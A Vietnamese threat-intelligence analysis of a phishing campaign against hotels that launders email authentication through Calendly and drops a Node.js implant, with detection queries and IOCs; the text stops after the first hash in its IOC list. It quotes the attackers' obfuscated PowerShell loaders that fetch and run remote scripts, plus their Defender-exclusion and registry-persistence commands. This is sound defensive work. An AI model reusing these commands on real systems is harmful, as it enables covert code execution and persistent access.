# Photo ZIP campaign: Node.js implant TonRAT xuyên thủng SPF/DKIM/DMARC bằng Calendly

---
title: ""
meta_description: "Microsoft phát hiện chiến dịch Photo ZIP nhắm ngành khách sạn, dùng kỹ thuật authentication laundering qua Calendly để phát tán implant Node.js TonRAT với dual persistence."
slug: "photo-zip-tonrat-hospitality-campaign"
tags:
  - "TonRAT"
  - "Authentication Laundering"
  - "Node.js Implant"
  - "Microsoft Threat Intelligence"
  - "Hospitality"
categories:
  - "attack-campaign-analysis"
author: "FPT IS SOC Detection Engineering"
date: "2026-07-08"
last_updated: "2026-07-08"
reading_time: "18-20 phút"
confidence_level: "high"
disclaimer: |
  Bài viết tổng hợp từ nghiên cứu của Microsoft Threat Intelligence, đối chiếu với SOC Prime,
  The Hacker News, Security Affairs và Cisco Talos. Attribution threat actor ở mức chưa xác định
  (Microsoft chưa gán nhãn nhóm cụ thể), các đánh giá kỹ thuật khác được đối chiếu multi-source
  ở mức confidence cao.
version: "1.0"
source_reference: "https://www.microsoft.com/en-us/security/blog/2026/06/25/photo-zip-campaign-targeting-hospitality-industry-delivers-node-js-implant-persistent-access/"
---

## Mục lục

- [Tóm tắt rủi ro](#tóm-tắt-rủi-ro)
- [Bối cảnh](#bối-cảnh)
- [Thông tin campaign](#thông-tin-campaign)
- [Timeline sự kiện](#timeline-sự-kiện)
- [Attack chain chi tiết](#attack-chain-chi-tiết)
- [Phân tích kỹ thuật](#phân-tích-kỹ-thuật)
- [MITRE ATT&CK Mapping](#mitre-attck-mapping)
- [Detection](#detection)
- [Nhận định](#nhận-định)
- [Khuyến nghị](#khuyến-nghị)
- [Indicators of Compromise](#indicators-of-compromise)

---

## Tóm tắt rủi ro

Một email đặt phòng hợp lệ, gửi từ hạ tầng Calendly thật, vượt qua SPF, DKIM, DMARC và CompAuth với kết quả pass tuyệt đối, nhưng đưa nhân viên lễ tân đến một file ZIP ảnh chứa mã độc. Đó là bản chất chiến dịch Photo ZIP mà Microsoft Threat Intelligence công bố ngày 25/06/2026, đang nhắm vào các tổ chức khách sạn tại châu Âu và châu Á từ tháng 4/2026.

Kẻ tấn công gửi phishing đội lốt thông báo khiếu nại khách hoặc yêu cầu xác minh phòng, dụ nhân viên lễ tân tải file *photo-\<số ngẫu nhiên\>.zip* chứa shortcut giả dạng ảnh PNG. Khi mở, chuỗi tấn công triển khai PowerShell obfuscated, cài implant Node.js có tên TonRAT, thiết lập persistence kép qua registry, và giao tiếp C2 qua các cổng phi chuẩn. Microsoft chưa gán chiến dịch này cho nhóm tấn công cụ thể, và mục tiêu cuối cùng chưa rõ ràng, nhưng mức đầu tư vào obfuscation và độ bền persistence cho thấy đây là bước chuẩn bị cho hoạt động tiếp theo trên thiết bị nạn nhân.

Rủi ro kinh doanh trực tiếp: các terminal lễ tân, đặt phòng thường kết nối trực tiếp vào hệ thống quản lý tài sản (PMS), xử lý thanh toán và cơ sở dữ liệu khách hàng. Một máy bị xâm nhập có thể mở đường vào toàn bộ chuỗi đó. Hành động ưu tiên ngay: rà soát registry *HKCU\Run* và *HKCU\RunOnce* trên các máy lễ tân, front office cho dấu hiệu trỏ đến *node.exe* hoặc thư mục *ProgramData* ngẫu nhiên, đồng thời chặn domain dạng *photo-\<số\>[.]cfd*.

## Bối cảnh

Ngành khách sạn không phải mục tiêu mới, nhưng tần suất bị nhắm đang tăng rõ rệt trong nửa đầu 2026. Đầu năm, Hoxhunt ghi nhận các chiến dịch giả mạo Booking.com kết hợp kỹ thuật ClickFix để phát tán DCRat, còn Securonix mô tả chiến dịch PHALT#BLYX dùng màn hình xanh giả để dụ nạn nhân chạy MSBuild.exe độc hại tại các khách sạn châu Âu. RH-ISAC dẫn số liệu VikingCloud cho thấy 82% khách sạn Bắc Mỹ từng bị tấn công trong mùa hè trước, hơn một nửa bị nhắm từ năm lần trở lên. Điểm chung của các chiến dịch này là khai thác đúng nhịp vận hành của lễ tân: khối lượng email lạ cao, áp lực phản hồi nhanh, và thói quen mở file đính kèm liên quan ảnh, tài liệu đặt phòng.

Photo ZIP khác biệt ở lớp delivery. Thay vì giả mạo domain hoặc gửi từ hạ tầng riêng dễ bị liệt blacklist, chiến dịch này đăng ký tài khoản Calendly thật, dùng đúng hạ tầng gửi email SendGrid của Calendly để email tự động pass toàn bộ chuỗi xác thực. Microsoft gọi đây là authentication laundering. Kỹ thuật này không đơn lẻ. Cisco Talos từng ghi nhận một dạng lạm dụng tương tự vào tháng 4/2026 với tên gọi Platform-as-a-Proxy, nhắm vào hệ thống thông báo của GitHub và Jira, với đỉnh điểm khoảng 2,89% lưu lượng email từ hạ tầng GitHub liên quan đến hành vi lạm dụng này. Điều đó cho thấy authentication laundering đang trở thành một lớp kỹ thuật riêng, không còn là hiện tượng đơn lẻ của một chiến dịch.

Chiến dịch tiến hóa qua hai làn sóng rõ rệt. Wave 1 (tháng 4 đến giữa tháng 5/2026) dùng shortcut *IMG-\<số\>.png.lnk* và chuỗi PowerShell tương đối đơn giản. Wave 2 (cuối tháng 5 đến tháng 6/2026) đổi tên shortcut thành *PHOTO-\<số\>.png.lnk*, bổ sung giai đoạn biên dịch DLL .NET động qua *csc.exe*, và mở rộng hạ tầng sang domain *.cfd* núp sau Cloudflare. Cả hai làn sóng chia sẻ chung một số hạ tầng, gồm cùng một IP C2 chính và cùng payload hash, đủ bằng chứng để đánh giá đây là một chiến dịch liên tục do cùng một actor vận hành, không phải hai nhóm khác nhau.

## Thông tin campaign

| Thuộc tính | Chi tiết |
|---|---|
| Tên chiến dịch | Photo ZIP campaign (đặt theo Microsoft) |
| Implant family | TonRAT (Node.js-based) |
| Threat actor | Chưa được Microsoft gán nhãn / attribution |
| Thời gian hoạt động | Từ tháng 4/2026, đang active tại thời điểm công bố |
| Loại tấn công | Multi-stage intrusion, khả năng chuẩn bị cho hoạt động follow-on |
| Target sector | Khách sạn, hospitality |
| Target region | Châu Âu và châu Á |
| Công cụ chính | PowerShell BigInt decoder, Node.js runtime chính chủ, csc.exe/cvtres.exe (Wave 2) |
| C2 infrastructure | Cổng phi chuẩn 8443/8445/8453/5555/56001-56003, domain .info/.cfd/.bond/.click |
| Delivery vector | Phishing qua Calendly + Google share.google redirect, laundering qua SendGrid |
| Nguồn phát hiện | Microsoft Threat Intelligence, đối chiếu SOC Prime, ITOCHU Cyber & Intelligence |

## Timeline sự kiện

| Thời điểm | Sự kiện |
|---|---|
| Tháng 4/2026 | Bắt đầu Wave 1, shortcut *IMG-\<số\>.png.lnk*, PowerShell obfuscation phase 1-6 |
| Giữa tháng 5/2026 | SOC Prime công bố phân tích độc lập về email khả nghi nhắm ngành khách sạn |
| Cuối tháng 5/2026 | Bắt đầu Wave 2, shortcut đổi tên *PHOTO-\<số\>.png.lnk*, threat actor bắt đầu lạm dụng Calendly + Google redirect (authentication laundering) |
| Đầu tháng 6/2026 | ITOCHU Cyber & Intelligence công bố phát hiện liên quan |
| 11/06/2026 - 25/06/2026 | Microsoft quan sát obfuscation phase 7 (for-loop variant), mở rộng domain sang TLD .cfd |
| 25/06/2026 | Microsoft Threat Intelligence công bố báo cáo đầy đủ, kèm 20+ detection và hunting query |
| 30/06/2026 | Microsoft cập nhật lần cuối bài viết gốc |

## Attack chain chi tiết

### Giai đoạn 1: Phát tán qua ZIP ảnh và authentication laundering

Nạn nhân nhận email hiển thị tên gửi "Booking Manager (via Calendly)", nội dung xoay quanh một tập chủ đề cố định lặp lại bằng tiếng Nhật, Đan Mạch và Hà Lan: khiếu nại khách, báo cáo rệp giường (bedbug), thông báo xác minh qua điện thoại, hỏi tình trạng phòng, yêu cầu đánh giá lưu trú. Không có tên người nhận, tên khách hay tên cơ sở nào xuất hiện trong bất kỳ email nào, đặc trưng của phát tán hàng loạt theo danh sách chứ không phải spear-phishing cá nhân hóa. Tiếng Nhật chiếm tỷ lệ cao nhất.

Điểm mấu chốt nằm ở hạ tầng gửi. Threat actor đăng ký một tài khoản Calendly thật gắn với subdomain *em1618.calendly[.]com*, dùng chính hệ thống notification của Calendly (chạy trên SendGrid) để relay phishing. Vì email được gửi thật từ hạ tầng Calendly được ủy quyền, SPF pass. Vì SendGrid ký DKIM hợp lệ cho domain Calendly, DKIM pass. Vì domain trong From header khớp với domain đã DKIM-sign, DMARC pass theo alignment. Composite authentication (CompAuth) của Microsoft cũng pass vì mọi check thành phần đều align.

```text
SPF   → Pass (gửi từ hạ tầng Calendly được ủy quyền)
DKIM  → Pass (ký bởi hạ tầng SendGrid của Calendly)
DMARC → Pass (alignment trên domain calendly.com)
CompAuth → Pass (mọi check thành phần đều align)
```

Bản chất kỹ thuật ở đây quan trọng hơn tên gọi. SPF, DKIM, DMARC được thiết kế để xác nhận một điều duy nhất: server gửi có được ủy quyền gửi thay mặt domain đó hay không. Chúng không có cơ chế nào đánh giá nội dung message có ác ý hay không. Khi domain gửi là một dịch vụ hợp pháp và attacker kiểm soát được nội dung message gửi qua dịch vụ đó, ba lớp xác thực này xác nhận đúng người gửi nhưng hoàn toàn im lặng về ý đồ. Đây chính là khoảng trống mà authentication laundering khai thác, và nó không phải lỗi cấu hình của Calendly hay của tổ chức nạn nhân, mà là giới hạn thiết kế cố hữu của mô hình xác thực email hiện tại.

![Sơ đồ chuỗi tấn công tổng quan của chiến dịch Photo ZIP, thể hiện cả hai giai đoạn Wave 1 và Wave 2](https://www.microsoft.com/en-us/security/blog/wp-content/uploads/2026/06/image-52.webp)

*Hình 1. Chuỗi tấn công tổng quan qua cả hai làn sóng của chiến dịch Node.js Photo ZIP/LNK.*

Link nhúng trong email dẫn qua một chuỗi redirect bốn chặng nhằm phân mảnh reputation của URL và tránh phân tích tự động:

```text
Bước 1: calendly[.]com/url?q=hxxps://share[.]google/TOKEN   → HTTP 302
Bước 2: share[.]google/TOKEN                                 → HTTP 302
Bước 3: www.google[.]com/share_google?q=TOKEN                → HTTP 301
Bước 4: photo-*[.]cfd                                         → Landing page (Cloudflare Turnstile)
```

![Sơ đồ luồng redirect phishing qua bốn chặng từ Calendly đến domain .cfd cuối cùng](https://www.microsoft.com/en-us/security/blog/wp-content/uploads/2026/06/image-53.webp)

*Hình 2. Luồng redirect phishing qua Calendly Link Safety Service và Google share.google.*

Không có URL đơn lẻ nào trong chuỗi này mang tính độc hại rõ ràng tại thời điểm phát tán, vì mỗi chặng đều thuộc hạ tầng hợp pháp (Calendly, Google) cho đến chặng cuối cùng. Landing page *.cfd* được đăng ký mới (một mẫu quan sát chỉ tồn tại 17 ngày trước thời điểm phân tích), núp sau Cloudflare, và có cổng Turnstile "verify you are human" đóng vai trò kép: vừa chống phân tích tự động, vừa lọc địa lý trước khi trả về ZIP ảnh thật. Threat actor còn duy trì một biến thể rút gọn, bỏ qua bước share.google và trỏ thẳng từ Calendly đến domain .cfd, hoạt động song song với biến thể đầy đủ và dùng chung UUID người dùng Calendly, cho thấy một operator duy nhất quản lý cả hai đường phát tán.

### Giai đoạn 2: PowerShell BigInt decoder và bảy pha obfuscation

Khi shortcut giả (*IMG-\<số\>.png.lnk* ở Wave 1, *PHOTO-\<số\>.png.lnk* ở Wave 2) được mở, nó kích hoạt PowerShell chạy một decoder BigInt. Toàn bộ chiến dịch giữ nguyên logic lõi: giải mã dữ liệu nhúng bằng phép toán số học, khôi phục nội dung stage kế tiếp, tải một file *.ps1* chạy từ *%TEMP%*. Điều thay đổi liên tục là cách logic đó được ngụy trang.

Microsoft ghi nhận bảy pha tiến hóa từ tháng 4 đến tháng 6/2026:

1. XOR bigint decoding dùng `-bxor`
2. Thay XOR bằng phép trừ, giữ nguyên cấu trúc decoder
3. Đổi `0xFF` sang `255` (tương đương về giá trị nhưng phá vỡ signature theo chuỗi hex)
4. Che giá trị mask bằng biểu thức số học như `(177+78)`
5. Chuyển từ `-band`/`-shr` sang modulo và chia
6. Dùng cú pháp `"num" -as [bigint]`, tên biến ngẫu nhiên dài
7. For-loop thay while-loop, kết hợp mask số học `100+156` (Wave 2)

```powershell
# Pha 1: XOR bigint decoding
powershell.exe -ep bypass -c "$k=[bigint]\"2004985473718821432817707887657617\";
$w=[bigint]\"278573358569528286847653191217377\";$o=$k -bxor $w;
while($o -ne 0){$g+=[char]([int]($o -band 0xFF));$o=$o -shr 8};
iwr $g -OutFile $env:TEMP\eRJGv.ps1 -UseBasicParsing;
powershell -ep bypass -File $env:TEMP\eRJGv.ps1"
```

```powershell
# Pha 7 (Wave 2): for-loop với mask số học
powershell.exe -ep bypass -c "$mask=100+156;
$a = '...' -as [bigint]; $b = '...' -as [bigint]; $diff = $a - $b;
for($i=0; $diff -ne 0; $i++){
  $out += [char]([int]($diff % $mask));
  $diff = [bigint]($diff / $mask)};
iwr $out -OutFile $env:TEMP\payload.ps1 -UseBasicParsing;
powershell -ep bypass -File $env:TEMP\payload.ps1"
```

Điều đáng chú ý không phải từng pha riêng lẻ mà là kỷ luật của quá trình tiến hóa. Threat actor không đổi tradecraft, không bỏ PowerShell hay Node.js, chỉ liên tục thay lớp vỏ cho một loader vẫn hoạt động tốt. Đây là hành vi của một actor theo dõi sát áp lực detection, không phải một actor thử nghiệm ngẫu nhiên. Với defender, điều này có nghĩa detection literal dựa trên operator, constant, hay tên biến cụ thể sẽ lỗi thời rất nhanh, trong khi detection hành vi bám theo toàn bộ chuỗi (thực thi shortcut, PowerShell decode, staging tại %TEMP%, Node.js chạy từ user space, exclusion Defender, persistence ProgramData) sẽ bền hơn nhiều.

### Giai đoạn 3: Biên dịch DLL .NET động (chỉ Wave 2)

Wave 2 chèn thêm một bước trung gian giữa PowerShell download và triển khai Node.js: script *.ps1* tải về kích hoạt biên dịch .NET động qua *csc.exe* (trình biên dịch C#), lần lượt gọi *cvtres.exe* để tạo DLL kích thước nhỏ (3.072 byte) với tên ngẫu nhiên.

```text
csc.exe → cvtres.exe → <random>.dll (3.072 byte)
```

Microsoft không quan sát được DLL này bị load qua rundll32 hay regsvr32 trong telemetry hiện có, nên đánh giá bước này có thể mang tính chuẩn bị hoặc điều kiện, chưa chắc luôn được kích hoạt. Dù chưa rõ mục đích cuối, sự xuất hiện của *csc.exe* spawning *cvtres.exe* từ một tiến trình khởi tạo bởi PowerShell chạy từ %TEMP% tự nó đã là dấu hiệu bất thường trong môi trường khách sạn, nơi việc biên dịch .NET tại chỗ gần như không có lý do vận hành hợp pháp.

### Giai đoạn 4: Triển khai implant Node.js và persistence tự tạo

Sau khi giải mã và tải về, script PowerShell chạy từ *%TEMP%*, đóng vai trò staging trung gian trước khi tải hoặc khởi chạy component Node.js. Microsoft quan sát *node.exe* được thực thi từ đường dẫn user-space, dùng cùng một phiên bản runtime trên cả hai wave: *node-v24.13.0-win-x64* (SHA-256: `d14ba95cdce1ef7dc9ad3ac74949ca5db38b27378ee30f30a23cf26f9e875a11`, 89,9 MB, tải từ nodejs.org chính chủ).

```text
"node.exe" C:\Users\[REDACTED]\AppData\Local\Nodejs\E2HPVoYGA77RECeb.js safedocphoto[.]info
"node.exe" C:\Users\[REDACTED]\AppData\Local\Nodejs\jVXvdhxNfcqHuSf.js recallnine[.]info
"node.exe" C:\Users\[REDACTED]\AppData\Local\Nodejs\c4yCFRzE.js kentjerk[.]info
```

Đặt runtime Node.js vào thư mục user-writable giúp threat actor tránh phụ thuộc vào bản Node.js cài đặt sẵn trên hệ thống, đồng thời hỗ trợ tái sử dụng payload qua nhiều tên file khác nhau. Việc hash trùng lặp trên nhiều tên file khác nhau xác nhận cùng một binary được tái sử dụng, củng cố đánh giá threat actor ưu tiên khả năng lặp lại vận hành hơn là tạo biến thể mới liên tục.

Implant sau đó tự thiết lập persistence bằng cách spawn PowerShell tạo một tiến trình con detached, ẩn:

```powershell
powershell.exe -c "$code = \"require('child_process').spawn(process.execPath,
  ['C:\\Users\\[REDACTED]\\AppData\\Local\\Nodejs\\<random>.js'],
  {detached: true, stdio: 'ignore', windowsHide: true}).unref()\";
  $command = ..."
```

Nguồn thứ ba, SOC Prime, mô tả implant TonRAT dùng TON blockchain API để resolve domain C2 động và mở kênh WebSocket mã hóa, thay vì hardcode domain cố định. Cách tiếp cận này khiến blocklist domain tĩnh trở nên kém hiệu quả hơn, vì domain C2 thực tế có thể thay đổi theo thời gian mà không cần cập nhật lại payload.

### Giai đoạn 5: Vô hiệu hóa Defender và persistence kép

Một khi Node.js đã chạy, chiến dịch chỉnh sửa cấu hình Defender bằng *Add-MpPreference -ExclusionProcess* nhắm vào các executable trong *AppData\Local\Temp*, mục tiêu giảm khả năng inspection cho các binary follow-on:

```powershell
powershell.exe -c "Add-MpPreference -ExclusionProcess \"C:\Users\[REDACTED]\AppData\Local\Temp\utramdJQjRMJ.exe\""
```

Các EXE ngẫu nhiên bị loại trừ này sau đó được khởi chạy, tiếp theo là các installer hoặc unpacker dạng *is-\*.tmp* chạy kèm cờ */SL5* hoặc */VERYSILENT*. Payload cuối được copy vào *C:\ProgramData\\\<random\>\\\<payload\>.exe*, với nhiều bản sao chữ thường cùng hash xuất hiện dưới tên file khác nhau, khớp với hành vi repackaging phục vụ ổn định hơn là biên dịch lại.

Điểm kỹ thuật đáng chú ý nhất của toàn chiến dịch nằm ở mô hình persistence kép:

```powershell
cmd /c reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce"
  /v "zZBPZPuA" /t REG_SZ /d "C:\ProgramData\FFXjwKn\fehqf5oo.exe" /f
```

*HKCU\RunOnce* trỏ đến executable trong ProgramData, còn *HKCU\Run* trỏ đến component Node.js. Hành vi *RunOnce* bất thường ở chỗ nó tự làm mới sau mỗi lần thực thi, tạo thành một vòng lặp RunOnce chứ không phải giá trị một lần rồi biến mất như bản chất thiết kế ban đầu của registry key này. Microsoft ghi nhận một trường hợp thực tế: Defender chặn thành công PE payload *xmnrwv9l.exe* (Wacatac), nhưng key *HKCU\Run* trỏ vào Node.js vẫn sống sót. Khoảng hai ngày sau, implant Node.js tự kích hoạt lại, kết nối C2 đến domain mới, và tải thêm loạt EXE */VERYSILENT* khác. Chặn một nhánh không vô hiệu hóa được nhánh còn lại, vì Node.js vẫn có khả năng tự tải lại và thử triển khai payload mới.

![Sơ đồ kiến trúc persistence kép qua registry Run/RunOnce và cơ chế C2, thể hiện khả năng sống sót sau khi Defender chặn payload](https://www.microsoft.com/en-us/security/blog/wp-content/uploads/2026/06/image-55.webp)

*Hình 3. Kiến trúc persistence và C2, thể hiện registry kép, khả năng sống sót sau khi bị chặn, và hoạt động post-compromise.*

### Giai đoạn 6: Hoạt động post-compromise

Trên một số thiết bị, Microsoft ghi nhận C2 beaconing chủ động, tự động hóa trình duyệt với cờ *–headless –no-sandbox*, và truy vấn *ip-api[.]com* để lấy thông tin mạng bên ngoài, khả năng phục vụ đánh giá vị trí địa lý hoặc kết nối của thiết bị bị xâm nhập trước khi tiếp tục hoạt động. Hành vi disruptive cuối cùng là shutdown ép buộc qua *cmd /c shutdown -s -t 0*, được quan sát trên nhiều thiết bị, có thể phục vụ mục đích ngắt hoạt động người dùng, giảm thời gian phản ứng của defender ở một giai đoạn cụ thể, hoặc che giấu dấu hiệu sau khi các tác vụ trình duyệt tự động hoàn tất.

## Phân tích kỹ thuật

### Vì sao "Platform-as-a-Proxy" là vấn đề cấu trúc, không phải lỗi cấu hình

Authentication laundering không phải phát hiện riêng của chiến dịch này. Cisco Talos ghi nhận cùng lớp kỹ thuật dưới tên Platform-as-a-Proxy từ tháng 4/2026, khai thác hệ thống notification của GitHub và Jira với đỉnh điểm khoảng 2,89% lưu lượng email từ hạ tầng GitHub liên quan đến hành vi lạm dụng trong một ngày cao điểm tháng 2/2026. Bất kỳ nền tảng SaaS nào gửi email tự động thay mặt người dùng, từ công cụ lịch hẹn, chữ ký điện tử, đến quản lý dự án hay CRM, đều có thể trở thành relay cho lớp tấn công này, vì hạ tầng gửi vẫn hợp pháp trong khi nội dung mang theo thì không. Điều này đòi hỏi lớp phòng thủ dịch chuyển lên tầng hành vi: không phải ai gửi email, mà email yêu cầu người nhận làm gì.

### Vì sao dual persistence khó dọn sạch hơn persistence đơn

Phần lớn IR playbook coi việc chặn hoặc xóa một payload là đủ để chấm dứt truy cập. Photo ZIP phá vỡ giả định đó bằng cách tách persistence thành hai đường độc lập không phụ thuộc nhau: một đường phục vụ tái triển khai payload PE (RunOnce, tự làm mới), một đường phục vụ duy trì implant Node.js (Run, ổn định). Loại bỏ đường PE để lại implant Node.js sống, và implant đó có đủ khả năng tải lại đường PE. Điều này có nghĩa remediation phải diễn ra đồng thời trên cả hai registry key cộng với việc xóa runtime Node.js và toàn bộ file *.js* trong *AppData\Local\Nodejs*, nếu không nạn nhân sẽ chứng kiến payload "hồi sinh" vài ngày sau khi tưởng đã dọn sạch.

## MITRE ATT&CK Mapping

| Tactic | Technique ID | Technique Name | Triển khai trong chiến dịch |
|---|---|---|---|
| Resource Development | T1583.001 | Acquire Infrastructure: Domains | Domain *.cfd* đăng ký mới, xoay vòng mỗi 2-3 ngày |
| Resource Development | T1583.006 | Acquire Infrastructure: Web Services | Tài khoản Calendly + token redirect share.google dùng để relay phishing |
| Resource Development | T1584.006 | Compromise Infrastructure: Web Services | Nghi vấn dùng domain hợp pháp bị xâm nhập làm relay gửi thay thế |
| Initial Access | T1566.002 | Phishing: Spearphishing Link | Email notification Calendly chứa link redirect (từ cuối tháng 5/2026) |
| Initial Access | T1199 | Trusted Relationship | Authentication laundering qua hạ tầng SendGrid của Calendly |
| Execution | T1204.002 | User Execution: Malicious File | Người dùng mở shortcut ảnh giả (*IMG-/PHOTO-\*.png.lnk*) |
| Execution | T1059.001 | PowerShell | BigInt decoder obfuscated tải *.ps1* |
| Execution | T1059.007 | JavaScript | Node.js implant thực thi payload *.js* kèm domain C2 |
| Defense Evasion | T1027 | Obfuscated Files or Information | Bảy pha tiến hóa obfuscation PowerShell |
| Defense Evasion | T1027.004 | Compile After Delivery | *csc.exe* biên dịch DLL .NET tại chỗ (Wave 2) |
| Defense Evasion | T1036 | Masquerading | File LNK giả dạng ảnh *.png* |
| Defense Evasion | T1562.001 | Disable or Modify Tools | *Add-MpPreference* loại trừ EXE trong Temp |
| Persistence | T1547.001 | Registry Run Keys / Startup Folder | Dual *Run* (Node.js) + *RunOnce* (EXE ProgramData) |
| Discovery | T1016 | System Network Configuration Discovery | Truy vấn geolocation qua *ip-api[.]com* |
| Command and Control | T1571 | Non-Standard Port | C2 qua cổng 8443, 8445, 8453, 5555, 56001-56003 |

## Detection

### Microsoft Defender XDR (KQL)

Query có false positive thấp nhất, ưu tiên phát hiện Node.js chạy từ đường dẫn user-space đặc trưng của chiến dịch:

```kql
DeviceProcessEvents
| where FileName =~ "node.exe"
| where FolderPath has @"\AppData\Local\Nodejs\"
| where ProcessCommandLine has ".js"
| project Timestamp, DeviceName, FolderPath, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine
| order by Timestamp desc
```

Query tương quan giữa exclusion Defender và thực thi Temp trong cửa sổ 30 phút, tín hiệu gần như không xuất hiện trong vận hành bình thường:

```kql
let exclusionEvents =
DeviceProcessEvents
| where FileName in~ ("powershell.exe", "pwsh.exe")
| where ProcessCommandLine has "Add-MpPreference" and ProcessCommandLine has "-ExclusionProcess"
| project DeviceId, DeviceName, ExclusionTime=Timestamp, ExclusionCmd=ProcessCommandLine;
let tempExecs =
DeviceProcessEvents
| where FolderPath has @"\AppData\Local\Temp\"
| where FileName endswith ".exe" or ProcessCommandLine has ".exe"
| project DeviceId, TempExecTime=Timestamp, TempFile=FileName, TempPath=FolderPath, TempCmd=ProcessCommandLine;
exclusionEvents
| join kind=inner tempExecs on DeviceId
| where TempExecTime between (ExclusionTime .. ExclusionTime + 30m)
| project DeviceName, ExclusionTime, ExclusionCmd, TempExecTime, TempFile, TempPath, TempCmd
| order by ExclusionTime desc
```

Query registry persistence kép, pivot mạnh vì hành vi RunOnce tự làm mới hiếm gặp ngoài chiến dịch này:

```kql
DeviceRegistryEvents
| where RegistryKey has @"\Software\Microsoft\Windows\CurrentVersion\Run"
    or RegistryKey has @"\Software\Microsoft\Windows\CurrentVersion\RunOnce"
| where RegistryValueData has_any (@"\AppData\Local\Nodejs\", @"\ProgramData\")
| project Timestamp, DeviceName, ActionType, RegistryKey, RegistryValueName, RegistryValueData, InitiatingProcessFileName, InitiatingProcessCommandLine
| order by Timestamp desc
```

### Chuyển đổi sang Splunk SPL cho môi trường SOC đa nền tảng

Với các client không dùng Defender XDR, ba pattern trên có thể triển khai tương đương trong Splunk dựa trên Sysmon EventID 1 (process creation) và EventID 13 (registry value set), giả định sourcetype đã chuẩn hóa CIM Endpoint:

```spl
' Node.js thực thi từ user-space Nodejs staging path
index=endpoint sourcetype=sysmon EventCode=1
process_name="node.exe"
process_path="*\\AppData\\Local\\Nodejs\\*"
CommandLine="*.js*"
| table _time, host, process_path, process_name, CommandLine, parent_process_name
```

```spl
' Defender exclusion tiếp theo là thực thi Temp trong 30 phút
index=endpoint sourcetype=sysmon EventCode=1
CommandLine="*Add-MpPreference*" CommandLine="*ExclusionProcess*"
| eval exclusion_time=_time
| join host max=0 [ search index=endpoint sourcetype=sysmon EventCode=1
    process_path="*\\AppData\\Local\\Temp\\*" process_name="*.exe"
    | eval temp_exec_time=_time
    | fields host, temp_exec_time, process_name, process_path, CommandLine ]
| where (temp_exec_time - exclusion_time) <= 1800 AND (temp_exec_time - exclusion_time) >= 0
| table _time, host, CommandLine, temp_exec_time, process_name, process_path
```

```spl
' Registry Run/RunOnce trỏ đến Nodejs hoặc ProgramData
index=endpoint sourcetype=sysmon EventCode=13
(TargetObject="*\\CurrentVersion\\Run\\*" OR TargetObject="*\\CurrentVersion\\RunOnce\\*")
(Details="*\\AppData\\Local\\Nodejs\\*" OR Details="*\\ProgramData\\*")
| table _time, host, TargetObject, Details, process_name
```

Với Carbon Black EDR, cú pháp watchlist cần điều chỉnh sang query process/registry riêng của CB EDR (không hỗ trợ negation gộp và wildcard đầu/cuối bị chặn mặc định từ v6.2.3), khuyến nghị kiểm chứng cú pháp cụ thể với đội vận hành trước khi đưa vào production.

## Nhận định

Điều làm Photo ZIP đáng chú ý không phải mức độ tinh vi tuyệt đối của từng kỹ thuật riêng lẻ, mà là cách các kỹ thuật tầm trung được lắp ráp có kỷ luật. Không có exploit zero-day, không có kernel driver, không có custom RAT viết từ đầu. Toàn bộ chuỗi dựa trên PowerShell, một runtime Node.js chính chủ tải từ nodejs.org, và hai registry key có sẵn trong mọi bản Windows. Cái khiến chiến dịch này bền là thiết kế: bảy pha obfuscation liên tục để né signature, persistence kép để không phụ thuộc vào một điểm chặn duy nhất, và một lớp delivery mượn danh tính xác thực của một dịch vụ SaaS thật thay vì tự dựng hạ tầng dễ bị gắn cờ.

Authentication laundering đáng để SOC nhìn nhận như một hạng mục riêng trong threat model, không chỉ gắn với chiến dịch này. Bất kỳ tổ chức nào coi kết quả pass SPF/DKIM/DMARC là tín hiệu an toàn đủ để bỏ qua kiểm tra nội dung đều đang vận hành trên một giả định đã bị chứng minh sai ở cả hai chiến dịch độc lập (Cisco Talos với GitHub/Jira, Microsoft với Calendly). Với môi trường SOC đa khách hàng như FPT IS đang vận hành, nơi mỗi client tích hợp hàng chục SaaS gửi notification tự động, câu hỏi thực tế không còn là "domain gửi có hợp pháp không" mà là "nội dung email yêu cầu người nhận làm hành động gì, và hành động đó có khớp với ngữ cảnh nghiệp vụ hay không".

Với ngành khách sạn tại khu vực, mức độ liên quan trực tiếp có thể chưa cao bằng châu Âu, nhưng mô hình tấn công (lures đa ngôn ngữ, target lễ tân/đặt phòng, laundering qua SaaS lịch hẹn) hoàn toàn có thể tái sử dụng cho các ngành dịch vụ khác có đặc điểm tương tự: khối lượng email lạ cao, áp lực phản hồi nhanh, nhân sự front-line ít được đào tạo sâu về bảo mật. Đây là điểm SOC cần đưa vào use case hunting định kỳ thay vì chỉ dựa vào IOC tĩnh, vốn sẽ lỗi thời nhanh khi domain xoay vòng mỗi 2-3 ngày.

## Khuyến nghị

**Immediate (0-24h):**
- Chặn domain khớp pattern *photo-\<số\>[.]cfd* và các domain Wave 1/Wave 2 liệt kê trong IOC bên dưới.
- Chạy hunting query registry Run/RunOnce trỏ đến *AppData\Local\Nodejs* hoặc *ProgramData\\\<random\>* trên toàn bộ máy lễ tân, đặt phòng, front office.
- Rà soát log email cho subdomain *em1618.calendly[.]com* và display name "Booking Manager (via Calendly)".

**Short-term (1-7 ngày):**
- Triển khai detection rule tương quan Defender exclusion + thực thi Temp trong cửa sổ 30 phút (đã cung cấp ở phần Detection).
- Đưa domain pattern *.cfd* mới đăng ký, node runtime chạy từ user-space, và cổng phi chuẩn 56001-56003 vào watchlist SIEM cho các client thuộc nhóm dịch vụ/khách sạn/du lịch.
- Cập nhật playbook remediation: yêu cầu xóa đồng thời cả hai registry key persistence, không chỉ một, cộng với runtime Node.js và file *.js* liên quan.

**Long-term:**
- Đưa authentication laundering vào threat model như một hạng mục riêng, độc lập với việc domain gửi có pass SPF/DKIM/DMARC hay không.
- Xây dựng behavioral detection bám theo chuỗi hành vi (shortcut → PowerShell decode → staging %TEMP% → Node.js user-space → Defender exclusion → ProgramData persistence) thay vì literal IOC, vì literal indicator trong chiến dịch này lỗi thời theo chu kỳ vài ngày.
- Đào tạo nhân sự front-line (lễ tân, đặt phòng) nhận diện pattern lure lặp lại: khiếu nại chung chung không tên khách, áp lực "final warning", yêu cầu mở file ảnh/tài liệu từ nguồn không xác định.

## Indicators of Compromise

```text
# File Hash — SHA256
04ec44f2618460f5c77c5e56014a512cc03a123c9c5b6b6b1273e2a1681ac2e1   # PE payload xmnrwv9l.exe (Wacatac), cùng hash cả hai wave
